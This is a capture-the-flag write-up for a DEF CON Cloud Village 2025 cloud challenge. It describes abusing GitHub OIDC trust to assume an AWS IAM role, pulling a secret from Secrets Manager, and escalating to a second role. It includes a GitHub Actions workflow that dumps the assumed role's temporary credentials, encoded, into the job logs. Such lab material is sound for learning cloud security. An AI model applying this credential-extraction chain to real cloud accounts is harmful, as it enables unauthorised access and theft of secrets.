> For the complete documentation index, see [llms.txt](https://kabinet.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kabinet.gitbook.io/ctf-writeup/2025/defcon-cloud-village-2025/action-theft-repo.md).
# Action Theft Repo
Viewing the s3 bucket, there were reference to a github organization url
Manually enumerating the github organization, we found a github action logs that leaked out the role name.\
\
Decoding the role arn and secret id.
```
arn:aws:iam::170974506515:role/github-deployment-role
internal/secrets/id-v2
```
Based on the challenge description, we know the attacker managed to assume the role, access secrets manager and priv esc to a different role. There is also mention of github gist in the hint so lets take a look at that.
In the github gist, we found a internal access policy document at
From this we have the full attack chain.
* Exploit Github OIDC to assume the `arn:aws:iam::170974506515:role/github-deployment-role` rople
* Retrieve the secrets at `internal/secrets/id-v2`
* Use the secrets external id to assume the `prod-readonly-auditor` role
* Retrieve the flag at `ci-deployment-logsv1`
I created a private github repo and setup the github actions as such.
```yaml
name: Deploy to Prod
on:
workflow_dispatch:
permissions:
id-token: write
contents: read
jobs:
tf:
name: Run Terraform
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Auth to AWS
uses: aws-actions/configure-aws-credentials@v4
with:
aws-region: us-west-2
role-to-assume: arn:aws:iam::170974506515:role/github-deployment-role
role-external-id: extidHX9F3A1
- name: Encode creds for export
run: |
KEY_ID=$(echo -n "$AWS_ACCESS_KEY_ID" | gzip -c | base64)
SECRET_KEY=$(echo -n "$AWS_SECRET_ACCESS_KEY" | gzip -c | base64)
SESSION_TOKEN=$(echo -n "$AWS_SESSION_TOKEN" | gzip -c | base64)
echo "$KEY_ID"
echo "$SECRET_KEY"
echo "$SESSION_TOKEN"
```
Running the Github Actions, I managed to get the temporary credentials of the assumed role.
Next, Ill get the external id from the secrets manager.
With the external id, we are able to assume the prod-readonly-auditor role.
With that we can access the s3 bucket and retrieve the flag
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://kabinet.gitbook.io/ctf-writeup/2025/defcon-cloud-village-2025/action-theft-repo.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.